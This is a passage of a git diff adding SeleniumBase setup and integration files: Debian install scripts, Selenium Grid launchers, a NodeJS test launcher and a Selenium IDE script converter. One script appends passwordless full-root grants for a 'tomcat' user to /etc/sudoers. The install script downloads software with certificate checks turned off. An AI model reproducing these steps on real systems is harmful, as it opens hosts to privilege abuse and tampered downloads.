+sudo apt-get update
+sudo apt-get install -y --force-yes python-setuptools
+
+# Install Firefox
+sudo gpg --keyserver pgp.mit.edu --recv-keys 3EE67F3D0FF405B2
+sudo gpg --export 3EE67F3D0FF405B2 > 3EE67F3D0FF405B2.gpg
+sudo apt-key add ./3EE67F3D0FF405B2.gpg
+sudo rm ./3EE67F3D0FF405B2.gpg
+sudo apt-get -qy --no-install-recommends install -y --force-yes firefox
+sudo apt-get -qy --no-install-recommends install -y --force-yes $(apt-cache depends firefox | grep Depends | sed "s/.*ends:\ //" | tr '\n' ' ')
+cd /tmp
+sudo wget --no-check-certificate -O firefox-esr.tar.bz2 'https://download.mozilla.org/?product=firefox-esr-latest&os=linux32&lang=en-US'
+sudo tar -xjf firefox-esr.tar.bz2 -C /opt/
+sudo rm -rf /usr/bin/firefox
+sudo ln -s /opt/firefox/firefox /usr/bin/firefox
+sudo rm -f /tmp/firefox-esr.tar.bz2
+sudo apt-get -f install -y --force-yes firefox
+
+# Install more dependencies
+sudo apt-get update
+sudo apt-get install -y --force-yes xvfb
+sudo apt-get install -y --force-yes build-essential chrpath libssl-dev libxft-dev
+sudo apt-get install -y --force-yes libfreetype6 libfreetype6-dev
+sudo apt-get install -y --force-yes libfontconfig1 libfontconfig1-dev
+sudo apt-get install -y --force-yes libmysqlclient-dev
+sudo apt-get install -y --force-yes python-dev
+sudo apt-get install -y --force-yes python-MySQLdb
+
+# Install PhantomJS
+cd ~
+export PHANTOM_JS="phantomjs-2.1.1-linux-x86_64"
+sudo wget https://bitbucket.org/ariya/phantomjs/downloads/$PHANTOM_JS.tar.bz2
+sudo tar xvjf $PHANTOM_JS.tar.bz2
+sudo mv -f $PHANTOM_JS /usr/local/share
+sudo ln -sf /usr/local/share/$PHANTOM_JS/bin/phantomjs /usr/local/bin
+
+# Install Chrome
+cd /tmp
+sudo wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+sudo apt-get -f install -y --force-yes
+sudo dpkg -i google-chrome-stable_current_amd64.deb
+
+# Install Chromedriver
+sudo wget -N http://chromedriver.storage.googleapis.com/2.28/chromedriver_linux64.zip -P ~/Downloads
+sudo unzip -o ~/Downloads/chromedriver_linux64.zip -d ~/Downloads
+sudo chmod +x ~/Downloads/chromedriver
+sudo rm -f /usr/local/share/chromedriver
+sudo rm -f /usr/local/bin/chromedriver
+sudo rm -f /usr/bin/chromedriver
+sudo mv -f ~/Downloads/chromedriver /usr/local/share/chromedriver
+sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver
+sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver
+
+# Finalize apt-get dependancies
+sudo apt-get -f install -y --force-yes
+
+# Get pip
+sudo easy_install pip
diff --git a/SeleniumBase/integrations/linux/ReadMe.md b/SeleniumBase/integrations/linux/ReadMe.md
new file mode 100755
index 00000000..b8a90587
--- /dev/null
+++ b/SeleniumBase/integrations/linux/ReadMe.md
@@ -0,0 +1,3 @@
+## Running SeleniumBase on Debian GNU/Linux
+
+The files in this folder are currently used with the [Google Cloud setup instructions for SeleniumBase](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/google_cloud/ReadMe.md). You can also use these files standalone with any Debian GNU/Linux machine.
diff --git a/SeleniumBase/integrations/linux/Xvfb_launcher.sh b/SeleniumBase/integrations/linux/Xvfb_launcher.sh
new file mode 100755
index 00000000..48d1208f
--- /dev/null
+++ b/SeleniumBase/integrations/linux/Xvfb_launcher.sh
@@ -0,0 +1,5 @@
+# Activate Headless Display (Xvfb)
+
+sudo Xvfb -ac :99 -screen 0 1280x1024x16 > /dev/null 2>&1 &
+export DISPLAY=:99
+exec "$@"
diff --git a/SeleniumBase/integrations/linux/jenkins_permissions.sh b/SeleniumBase/integrations/linux/jenkins_permissions.sh
new file mode 100755
index 00000000..9316219b
--- /dev/null
+++ b/SeleniumBase/integrations/linux/jenkins_permissions.sh
@@ -0,0 +1,10 @@
+# This file will add "tomcat" to the sudoers file.
+# "tomcat" is the Jenkins user name by default
+
+# To become tomcat from a different user, use the following:
+# sudo su tomcat
+# bash
+
+sudo sh -c "echo \"%tomcat ALL=(ALL:ALL) ALL\" >> /etc/sudoers"
+sudo sh -c "echo \"%tomcat ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"
+sudo sh -c "echo \"tomcat ALL=NOPASSWD: ALL\" >> /etc/sudoers"
diff --git a/SeleniumBase/integrations/node_js/ReadMe.md b/SeleniumBase/integrations/node_js/ReadMe.md
new file mode 100755
index 00000000..8d529674
--- /dev/null
+++ b/SeleniumBase/integrations/node_js/ReadMe.md
@@ -0,0 +1,42 @@
+## Creating a SeleniumBase Test Launcher using NodeJS
+
+Great news: It's really easy to create a customized web app for kicking off SeleniumBase jobs using NodeJS. This tutorial will walk you through all the steps that you need. (I'll assume that you've already installed SeleniumBase by following the instructions from the [top-level ReadMe](https://github.com/seleniumbase/SeleniumBase/blob/master/README.md) file.) 
+
+#### 1. Install NodeJS
+
+* Navigate to [https://nodejs.org/en/](https://nodejs.org/en/)
+* Click to download and install NodeJS
+
+#### 2. Install Express for NodeJS
+
+```bash
+npm install -g express
+```
+
+#### 3. Install the Example Test Launcher for SeleniumBase from the ``integrations/node_js`` folder
+
+```bash
+npm install
+```
+
+(You should see a ``node_modules`` folder appear in your ``node_js`` folder.)
+
+#### 4. Run the NodeJS server for your SeleniumBase Test Launcher web app
+
+```bash
+node server.js
+```
+
+(You can always stop the server by using ``CTRL-C``.)
+
+#### 5. Open the SeleniumBase Test Launcher web app
+
+* Navigate to [http://127.0.0.1:3000/](http://127.0.0.1:3000/)
+
+#### 6. Run an example test
+
+Click on one of the buttons to run a SeleniumBase example test
+
+#### 7. Enjoy your web app
+
+Congratulations! You now have a web app for kicking off SeleniumBase tests! NodeJS makes it easy!
diff --git a/SeleniumBase/integrations/node_js/index.html b/SeleniumBase/integrations/node_js/index.html
new file mode 100644
index 00000000..4853aec5
--- /dev/null
+++ b/SeleniumBase/integrations/node_js/index.html
@@ -0,0 +1,25 @@
+<html>
+  <head>
+    <style>
+      body {font-family: Arial, Helvetica, sans-serif;}
+      h1 {color:#2255BB; font-size: 32px;}
+      input {color:#009999; font-size: 24px;
+             box-shadow: 0 0 4px gray;}
+    </style>
+  </head>
+  <body>
+    <h1>Select an option:</h1>
+    <form method="put" action="/run_my_first_test_in_firefox">
+      <input type="submit" value="Run Test in Firefox">
+    </form>
+    <form method="put" action="/run_my_first_test_in_chrome">
+      <input type="submit" value="Run Test in Chrome">
+    </form>
+    <form method="put" action="/run_my_first_test_in_firefox_with_demo_mode">
+      <input type="submit" value="Run Test in Firefox (Demo Mode)">
+    </form>
+    <form method="put" action="/run_my_first_test_in_chrome_with_demo_mode">
+      <input type="submit" value="Run Test in Chrome (Demo Mode)">
+    </form>
+  </body>
+</html>
diff --git a/SeleniumBase/integrations/node_js/my_first_test.py b/SeleniumBase/integrations/node_js/my_first_test.py
new file mode 100755
index 00000000..ef7648af
--- /dev/null
+++ b/SeleniumBase/integrations/node_js/my_first_test.py
@@ -0,0 +1,22 @@
+from seleniumbase import BaseCase
+
+
+class MyTestClass(BaseCase):
+
+    def test_basic(self):
+        self.open('http://xkcd.com/353/')
+        self.assert_element('img[alt="Python"]')
+        self.click('a[rel="license"]')
+        self.assert_text('copy and reuse', 'div center')
+        self.open('http://xkcd.com/1481/')
+        image_object = self.find_element('#comic img')
+        caption = image_object.get_attribute('title')
+        self.assertTrue('connections to the server' in caption)
+        self.click_link_text('Blag')
+        self.assert_text('xkcd', '#site-title')
+        header_text = self.get_text('header h2')
+        self.assertTrue('The blag of the webcomic' in header_text)
+        self.update_text('input#s', 'Robots!\n')
+        self.assert_text('Hooray robots!', '#content')
+        self.open('http://xkcd.com/1319/')
+        self.assert_text('Automation', 'div#ctitle')
diff --git a/SeleniumBase/integrations/node_js/package.json b/SeleniumBase/integrations/node_js/package.json
new file mode 100755
index 00000000..94289264
--- /dev/null
+++ b/SeleniumBase/integrations/node_js/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "app",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "body-parser": "~1.15.1",
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.2.0",
+    "express": "~4.13.4",
+    "pug": "~2.0.0-alpha6",
+    "morgan": "~1.7.0",
+    "serve-favicon": "~2.3.0"
+  }
+}
\ No newline at end of file
diff --git a/SeleniumBase/integrations/node_js/server.js b/SeleniumBase/integrations/node_js/server.js
new file mode 100644
index 00000000..c777950d
--- /dev/null
+++ b/SeleniumBase/integrations/node_js/server.js
@@ -0,0 +1,54 @@
+var http = require('http');
+var express = require('express');
+var path = require('path');
+var app = express();
+var exec = require('child_process').exec;
+
+function run_my_first_test_in_firefox() {
+    exec("nosetests my_first_test.py --with-selenium --browser=firefox");
+}
+
+function run_my_first_test_in_chrome() {
+    exec("nosetests my_first_test.py --with-selenium --browser=chrome");
+}
+
+function run_my_first_test_in_firefox_with_demo_mode() {
+    exec("nosetests my_first_test.py --with-selenium --browser=firefox --demo_mode");
+}
+
+function run_my_first_test_in_chrome_with_demo_mode() {
+    exec("nosetests my_first_test.py --with-selenium --browser=chrome --demo_mode");
+}
+
+app.get('/', function(req, res) {
+    res.sendFile(path.join(__dirname + '/index.html'));
+})
+
+app.get('/run_my_first_test_in_firefox', function(req, res) {
+    res.sendFile(path.join(__dirname + '/index.html'));
+    res.redirect('/');
+    run_my_first_test_in_firefox()
+})
+
+app.get('/run_my_first_test_in_chrome', function(req, res) {
+    res.sendFile(path.join(__dirname + '/index.html'));
+    res.redirect('/');
+    run_my_first_test_in_chrome()
+})
+
+app.get('/run_my_first_test_in_firefox_with_demo_mode', function(req, res) {
+    res.sendFile(path.join(__dirname + '/index.html'));
+    res.redirect('/');
+    run_my_first_test_in_firefox_with_demo_mode()
+})
+
+app.get('/run_my_first_test_in_chrome_with_demo_mode', function(req, res) {
+    res.sendFile(path.join(__dirname + '/index.html'));
+    res.redirect('/');
+    run_my_first_test_in_chrome_with_demo_mode()
+})
+
+app.listen(3000, "127.0.0.1", function() {
+    console.log('Server running at http://127.0.0.1:3000/');
+});
+
diff --git a/SeleniumBase/integrations/selenium_grid/ReadMe.md b/SeleniumBase/integrations/selenium_grid/ReadMe.md
new file mode 100644
index 00000000..5a9e3a4c
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/ReadMe.md
@@ -0,0 +1,34 @@
+## Notes on using the Selenium Grid Hub
+
+The Selenium Grid Hub allows you to distribute tests to run in parallel across multiple machines. Each machine can then run its own allocation of tests in parallel. This allows you to run an entire test suite quickly, which may be important if you have a lot of tests to run. Machines can be personal computers, data centers, or virtual machines in the cloud. You can also create your own virtual machine by using a tool such as Docker (see the [Docker ReadMe](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/docker/ReadMe.md)).
+
+### Running the Selenium Grid Hub
+
+First, download the latest selenium-server-standalone jar file to this folder (integrations/selenium_grid):
+```bash
+python download_selenium.py
+```
+Now you can start up the Grid Hub:
+```bash
+./grid-hub start
+```
+Now you can add a Grid Node to the Grid Hub:
+```bash
+./grid-node start
+```
+(NOTE: If the Grid Node is not running on the same machine as the Grid Hub, update the address from the script.)
+You should be able to see the Grid Console up and running from here: [http://0.0.0.0:4444/grid/console](http://0.0.0.0:4444/grid/console) (NOTE: That's the address if you're running locally from localhost.)
+
+You can remove a Grid Node from the Grid Hub with:
+```bash
+./grid-node stop
+```
+You can stop the Grid Hub at anytime with:
+```bash
+./grid-hub stop
+```
+
+#### More detailed info about connecting to the Selenium Grid Hub can be found here:
+* [https://theintern.github.io/intern/#selenium-grid](https://theintern.github.io/intern/#selenium-grid)
+* [https://github.com/SeleniumHQ/selenium/wiki/Grid2](https://github.com/SeleniumHQ/selenium/wiki/Grid2)
+* [https://github.com/SeleniumHQ/selenium/wiki](https://github.com/SeleniumHQ/selenium/wiki/Grid2)
diff --git a/SeleniumBase/integrations/selenium_grid/download_selenium.py b/SeleniumBase/integrations/selenium_grid/download_selenium.py
new file mode 100644
index 00000000..826c255a
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/download_selenium.py
@@ -0,0 +1,11 @@
+""" Download the selenium server jar file """
+
+import os
+from seleniumbase.core import selenium_launcher
+
+if not selenium_launcher.is_available_locally():
+    selenium_launcher.download_selenium()
+
+for filename in os.listdir("."):
+    if filename.startswith("selenium-server-standalone-"):
+        os.rename(filename, "selenium-server-standalone.jar")
diff --git a/SeleniumBase/integrations/selenium_grid/font_color b/SeleniumBase/integrations/selenium_grid/font_color
new file mode 100755
index 00000000..3dd0a581
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/font_color
@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+
+# Text color variables
+txtund=$(tput sgr 0 1)   # Underline
+txtbld=$(tput bold)      # Bold
+regred=$(tput setaf 1)   # Red
+regblu=$(tput setaf 4)   # Blue
+reggrn=$(tput setaf 2)   # Green
+regwht=$(tput setaf 7)   # White
+txtrst=$(tput sgr0)      # Reset
+info=${regwht}*${txtrst} # Feedback
+pass=${regblu}*${txtrst}
+warn=${regred}*${txtrst}
+ques=${regblu}?${txtrst}
+
+FAIL_MSG="${regred}[FAILURE]${txtrst}"
+SUCCESS_MSG="${reggrn}[SUCCESS]${txtrst}"
diff --git a/SeleniumBase/integrations/selenium_grid/grid-hub b/SeleniumBase/integrations/selenium_grid/grid-hub
new file mode 100755
index 00000000..1a3ebf26
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/grid-hub
@@ -0,0 +1,72 @@
+#!/usr/bin/env bash
+
+#
+# Usage: grid-hub {start|stop}
+#
+
+source $(dirname $0)/font_color
+
+EXPECTED_ARGS=1
+E_BADARGS=65
+
+DO_showUsage() {
+    echo "Usage: $(basename $0) {start|stop}"
+    exit $E_BADARGS
+}
+
+if [ $# -ne $EXPECTED_ARGS ]; then
+    DO_showUsage
+fi
+
+################################################################################
+
+WEBDRIVER_SERVER_JAR=./selenium-server-standalone.jar
+WEBDRIVER_HUB_PARAMS="-role hub -port 4444"
+WEBDRIVER_HUB_PIDFILE="/tmp/webdriver_hub.pid"
+
+if [ ! -f $WEBDRIVER_SERVER_JAR ]; then
+    echo "You must place the Selenium-WebDriver standalone JAR file at ${WEBDRIVER_SERVER_JAR} before proceeding."
+    exit 1
+fi
+
+case "$1" in
+    start)
+        echo "Starting Selenium-WebDriver Grid hub..."
+        if [ -f $WEBDRIVER_HUB_PIDFILE ]; then
+            echo "${FAIL_MSG} Selenium-WebDriver Grid hub already running with PID $(cat $WEBDRIVER_HUB_PIDFILE). Run 'grid-hub stop' or 'grid-hub restart'."
+            exit 1
+        else
+            START_HUB_CMD="java -Djava.util.logging.config.file=test/logging.properties -jar ${WEBDRIVER_SERVER_JAR} ${WEBDRIVER_HUB_PARAMS}"
+            $START_HUB_CMD &
+            PID=$!
+            echo $PID > "${WEBDRIVER_HUB_PIDFILE}"
+            echo "${SUCCESS_MSG} Selenium-WebDriver Grid hub started successfully."
+            echo "To see full log output, remove the java.util.logging.config.file parameter from script/grid-hub"
+        fi
+        ;;
+    stop)
+        echo "Stopping Selenium-WebDriver Grid hub..."
+        if [ -f $WEBDRIVER_HUB_PIDFILE ]; then
+            PID=$(cat $WEBDRIVER_HUB_PIDFILE)
+            kill $PID
+            rm $WEBDRIVER_HUB_PIDFILE
+            sleep 1
+            if [[ $(ps -A | egrep "^${PID}") ]]; then
+                echo "${FAIL_MSG} Tried to kill the hub with PID ${PID}, but was unsuccessful. You need to kill it with something stronger, like 'kill -9'"
+                exit 1
+            else
+                echo "${SUCCESS_MSG} Selenium-WebDriver Grid hub stopped successfully."
+                exit 0
+            fi
+        else
+            echo "${SUCCESS_MSG} Selenium-WebDriver Grid hub has already been stopped."
+            exit 0
+        fi
+        ;;
+    restart)
+        $0 stop
+        $0 start
+        ;;
+    *)
+        DO_showUsage
+esac
diff --git a/SeleniumBase/integrations/selenium_grid/grid-node b/SeleniumBase/integrations/selenium_grid/grid-node
new file mode 100755
index 00000000..d7b0816c
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/grid-node
@@ -0,0 +1,72 @@
+#!/usr/bin/env bash
+
+#
+# Usage: grid-node {start|stop}
+#
+
+source $(dirname $0)/font_color
+
+EXPECTED_ARGS=1
+E_BADARGS=65
+
+DO_showUsage() {
+    echo "Usage: $(basename $0) {start|stop}"
+    exit $E_BADARGS
+}
+
+if [ $# -ne $EXPECTED_ARGS ]; then
+    DO_showUsage
+fi
+
+################################################################################
+
+WEBDRIVER_SERVER_JAR=./selenium-server-standalone.jar
+WEBDRIVER_NODE_PARAMS="-role webdriver -hubHost 127.0.0.1 -hubPort 4444 -host 127.0.0.1 -browserName=firefox"
+WEBDRIVER_NODE_PIDFILE="/tmp/webdriver_node.pid"
+
+if [ ! -f $WEBDRIVER_SERVER_JAR ]; then
+    echo "You must place the Selenium-WebDriver standalone JAR file at ${WEBDRIVER_SERVER_JAR} before proceeding."
+    exit 1
+fi
+
+case "$1" in
+    start)
+        echo "Starting Selenium-WebDriver Grid node..."
+        if [ -f $WEBDRIVER_NODE_PIDFILE ]; then
+            echo "${FAIL_MSG} Selenium-WebDriver Grid node already running with PID $(cat $WEBDRIVER_NODE_PIDFILE). Run 'grid-node stop' or 'grid-node restart'."
+            exit 1
+        else
+            START_NODE_CMD="java -Djava.util.logging.config.file=test/logging.properties -jar ${WEBDRIVER_SERVER_JAR} ${WEBDRIVER_NODE_PARAMS}"
+            $START_NODE_CMD &
+            PID=$!
+            echo $PID > "${WEBDRIVER_NODE_PIDFILE}"
+            echo "${SUCCESS_MSG} Selenium-WebDriver Grid node started successfully."
+            echo "To see full log output, remove the java.util.logging.config.file parameter from script/grid-node"
+        fi
+        ;;
+    stop)
+        echo "Stopping Selenium-WebDriver Grid node..."
+        if [ -f $WEBDRIVER_NODE_PIDFILE ]; then
+            PID=$(cat $WEBDRIVER_NODE_PIDFILE)
+            kill $PID
+            rm $WEBDRIVER_NODE_PIDFILE
+            sleep 1
+            if [[ $(ps -A | egrep "^${PID}") ]]; then
+                echo "${FAIL_MSG} Tried to kill the node with PID ${PID}, but was unsuccessful. You need to kill it with something stronger, like 'kill -9'"
+                exit 1
+            else
+                echo "${SUCCESS_MSG} Selenium-WebDriver Grid node stopped successfully."
+                exit 0
+            fi
+        else
+            echo "${SUCCESS_MSG} Selenium-WebDriver Grid node has already been stopped."
+            exit 0
+        fi
+        ;;
+    restart)
+        $0 stop
+        $0 start
+        ;;
+    *)
+        DO_showUsage
+esac
diff --git a/SeleniumBase/integrations/selenium_grid/selenium_server_config_example.cfg b/SeleniumBase/integrations/selenium_grid/selenium_server_config_example.cfg
new file mode 100644
index 00000000..e95423df
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/selenium_server_config_example.cfg
@@ -0,0 +1,12 @@
+[nosetests]
+with-xunit=1
+with-selenium=1
+server=[IF NOT RUNNING THE TESTS LOCALLY, ENTER_YOUR_SELENIUM_SERVER_HOSTNAME_HERE - MIGHT BE YOUR OWN, OR ON AN EC2 MACHINE, PORT 4444 LIKELY, OR YOU MIGHT BE USING BROWSERSTACK: *.browserstack.com, PORT 80 LIKELY. IF RUNNING LOCALLY REMOVE THIS ENTIRE LINE AND THE LINE WITH THE "PORT"!]
+port=4444
+with-testing_base=1
+with-page_source=1
+with-screen_shots=1
+with-s3_logging=0
+with-db_reporting=0
+with-basic_test_info=1
+nocapture=0
diff --git a/SeleniumBase/integrations/selenium_grid/start-selenium-node.bat b/SeleniumBase/integrations/selenium_grid/start-selenium-node.bat
new file mode 100644
index 00000000..e9025f0b
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/start-selenium-node.bat
@@ -0,0 +1,2 @@
+cd c:\
+java -jar selenium-server-standalone.jar -role node -hub http://[ENTER URL OF THE GRID HUB SERVER]:4444/grid/register -browser browserName=chrome,maxInstances=5 -browser browserName=firefox,maxInstances=5 -browser browserName="internet explorer",maxInstances=1
\ No newline at end of file
diff --git a/SeleniumBase/integrations/selenium_grid/start-selenium-server.sh b/SeleniumBase/integrations/selenium_grid/start-selenium-server.sh
new file mode 100755
index 00000000..52aad034
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_grid/start-selenium-server.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+java -jar selenium-server-standalone.jar -role hub
\ No newline at end of file
diff --git a/SeleniumBase/integrations/selenium_ide/ReadMe.md b/SeleniumBase/integrations/selenium_ide/ReadMe.md
new file mode 100755
index 00000000..1a05b54e
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_ide/ReadMe.md
@@ -0,0 +1,29 @@
+## Converting Selenium IDE recordings into SeleniumBase test scripts
+
+[Selenium IDE](http://docs.seleniumhq.org/projects/ide/) is a tool that allows you to record and playback actions performed inside a web browser. It's available as a [downloadable Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/). Selenium IDE comes with an option to export recordings as various WebDriver test scripts, one of which is ``Python2/unittest/WebDriver``. Unfortunately, these natively-exported scripts tend to be very messy and don't run reliably. The purpose of this converter is to clean up and improve the scripts so that they can be used in production-level environments.
+
+#### Step 1: Make a recording with Selenium IDE
+
+![](https://cdn2.hubspot.net/hubfs/100006/selenium_ide_example_b.png "Selenium IDE example")
+
+#### Step 2: Export your recording as a Python 2 Webdriver script
+
+* ``File`` => ``Export Test Case As`` => ``Python 2 / unittest / WebDriver``
+
+#### Step 3: Drop your exported file into the ``selenium_ide`` folder
+
+* Just copy & paste!
+
+(The full path of the folder is ``SeleniumBase/integrations/selenium_ide``)
+
+#### Step 4: Run ``convert_ide.py`` on the exported Python script
+
+```bash
+python convert_ide.py [MY_TEST.py]
+```
+
+You should see a [MY_TEST_SB.py] file appear in the folder. (``_SB`` is added to the file name so that the original file stays intact in case you still need it.)
+
+#### Step 5: Enjoy your new clean & reliable SeleniumBase test script
+
+* You can now copy your new SeleniumBase test script into your test suite. It's ready to be run!
diff --git a/SeleniumBase/integrations/selenium_ide/convert_ide.py b/SeleniumBase/integrations/selenium_ide/convert_ide.py
new file mode 100755
index 00000000..99f9846b
--- /dev/null
+++ b/SeleniumBase/integrations/selenium_ide/convert_ide.py
@@ -0,0 +1,273 @@
+"""
+Converts a Selenium IDE WebDriver-exported test file into a SeleniumBase file
+
+Usage:
+python convert_ide.py [MY_TEST.py]
+Output:
+[MY_TEST_SB.py]  (Adds "_SB" to the file name)
+"""
+
+import codecs
+import re
+import sys
+
+
+def main():
+    expected_arg = "[A Selenium IDE recording exported to Python WebDriver]"
+    num_args = len(sys.argv)
+    if num_args < 2 or num_args > 2:
+        raise Exception("\n* INVALID RUN COMMAND! *  Usage:\n"
+                        "python convert_ide.py %s\n" % expected_arg)
+    elif num_args == 2:
+        if not sys.argv[1].endswith('.py'):
+            raise Exception("Not a Python file!")
+    webdriver_python_file = sys.argv[1]
+
+    seleniumbase_lines = []
+    seleniumbase_lines.append("from seleniumbase import BaseCase")
+    seleniumbase_lines.append("")  # Flake8 is very specific on whitespace
+    seleniumbase_lines.append("")
+
+    ide_base_url = ""
+    in_test_method = False
+    has_unicode = False
+
+    f = open(webdriver_python_file, 'r')
+    all_code = f.read()
+    f.close()
+    if "def test_" not in all_code:
+        raise Exception("Not a valid Python test file!")
+    code_lines = all_code.split('\n')
+    for line in code_lines:
+
+        # Handle utf-8 encoding if present
+        data = re.findall('^\s*# -\*- coding: utf-8 -\*-\s*$', line)
+        if data:
+            has_unicode = True
+            continue
+
+        # Handle class definition
+        data = re.findall('^class\s\S+\(unittest\.TestCase\):\s*$', line)
+        if data:
+            data = data[0].replace("unittest.TestCase", "BaseCase")
+            seleniumbase_lines.append(data)
+            continue
+
+        # Get base_url if defined
+        data = re.match('^\s*self.base_url = "(\S+)"\s*$', line)
+        if data:
+            ide_base_url = data.group(1)
+            continue
+
+        # Handle method definitions
+        data = re.match('^\s*def\s(\S+)\(self[,\s\S]*\):\s*$', line)
+        if data:
+            method_name = data.group(1)
+            if method_name.startswith('test_'):
+                in_test_method = True
+                seleniumbase_lines.append("")
+                seleniumbase_lines.append(data.group())
+            else:
+                in_test_method = False
+            continue
+
+        # If not in a test method, skip
+        if not in_test_method:
+            continue
+
+        # If a comment, skip
+        if line.strip().startswith("#"):
+            continue
+
+        # If a blank line, skip
+        if len(line.strip()) == 0:
+            continue
+
+        # If .clear(), skip because .update_text() already does this
+        if line.strip().endswith(".clear()"):
+            continue
+
+        # Skip edge case
+        data = re.findall('^\s*driver = self.driver\s*$', line)
+        if data:
+            continue
+
+        # Handle page loads
+        data = re.match(
+            '^(\s*)driver\.get\((self\.base_url \+ \"/\S*\")\)\s*$', line)
+        if data:
+            whitespace = data.group(1)
+            url = data.group(2)
+            url = url.replace("self.base_url", '"%s"' % ide_base_url)
+            if '/" + "/' in url:
+                url = url.replace('/" + "/', '/')
+            if "/' + '/" in url:
+                url = url.replace("/' + '/", "/")
+            command = '''%sself.open(%s)''' % (whitespace, url)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle more page loads
+        data = re.match(
+            '^(\s*)driver\.get\(\"(\S*)\"\)\s*$', line)
+        if data:
+            whitespace = data.group(1)
+            url = data.group(2)
+            command = '''%sself.open('%s')''' % (whitespace, url)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_id() + .click()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_id\(\"(\S+)\"\)'''
+            '''\.click\(\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '#%s' % data.group(2)
+            command = '''%sself.click('%s')''' % (whitespace, css_selector)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_id() + .send_keys()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_id\(\"(\S+)\"\)'''
+            '''\.send_keys\(\"([\S\s]+)\"\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '#%s' % data.group(2)
+            text = data.group(3)
+            command = '''%sself.update_text('%s', '%s')''' % (
+                whitespace, css_selector, text)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_name() + .click()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_name\(\"(\S+)\"\)'''
+            '''\.click\(\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '[name="%s"]' % data.group(2)
+            command = '''%sself.click('%s')''' % (whitespace, css_selector)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_name() + .send_keys()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_name\(\"(\S+)\"\)'''
+            '''\.send_keys\(\"([\S\s]+)\"\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '[name="%s"]' % data.group(2)
+            text = data.group(3)
+            command = '''%sself.update_text('%s', '%s')''' % (
+                whitespace, css_selector, text)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_css_selector() + .click()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_css_selector\(\"([\S\s]+)\"\)'''
+            '''\.click\(\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '%s' % data.group(2)
+            command = '''%sself.click('%s')''' % (whitespace, css_selector)
+            if command.count('\\"') == command.count('"'):
+                command = command.replace('\\"', '"')
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_css_selector() + .send_keys()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_css_selector\(\"([\S\s]+)\"\)'''
+            '''\.send_keys\(\"([\S\s]+)\"\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '%s' % data.group(2)
+            text = data.group(3)
+            command = '''%sself.update_text('%s', '%s')''' % (
+                whitespace, css_selector, text)
+            if command.count('\\"') == command.count('"'):
+                command = command.replace('\\"', '"')
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle Select / by_css_selector() / select_by_visible_text()
+        data = re.match(
+            '''^(\s*)Select\(driver\.find_element_by_css_selector\('''
+            '''\"([\S\s]+)\"\)\)\.select_by_visible_text\('''
+            '''\"([\S\s]+)\"\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            css_selector = '%s' % data.group(2)
+            visible_text = '%s' % data.group(3)
+            command = '''%sself.pick_select_option_by_text('%s', '%s')''' % (
+                whitespace, css_selector, visible_text)
+            if command.count('\\"') == command.count('"'):
+                command = command.replace('\\"', '"')
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_xpath() + .click()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_xpath\(u?\"([\S\s]+)\"\)'''
+            '''\.click\(\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            xpath = '%s' % data.group(2)
+            if '(u"' in line:
+                uni = "u"
+                has_unicode = True
+            command = '''%sself.click_xpath(%s"%s")''' % (
+                whitespace, uni, xpath)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Handle .find_element_by_link_text() + .click()
+        data = re.match(
+            '''^(\s*)driver\.find_element_by_link_text\(u?\"([\S\s]+)\"\)'''
+            '''\.click\(\)\s*$''', line)
+        if data:
+            whitespace = data.group(1)
+            link_text = '''%s''' % data.group(2)
+            uni = ""
+            if '(u"' in line:
+                uni = "u"
+                has_unicode = True
+            command = '''%sself.click_link_text(%s"%s")''' % (
+                whitespace, uni, link_text)
+            seleniumbase_lines.append(command)
+            continue
+
+        # Replace "self.base_url" with actual url if not already done
+        if 'self.base_url' in line:
+            line = line.replace("self.base_url", '"%s"' % ide_base_url)
+
+        # Convert driver. to self.driver. if not already done
+        if 'driver.' in line and 'self.driver' not in line:
+            line = line.replace('driver.', 'self.driver.')
+
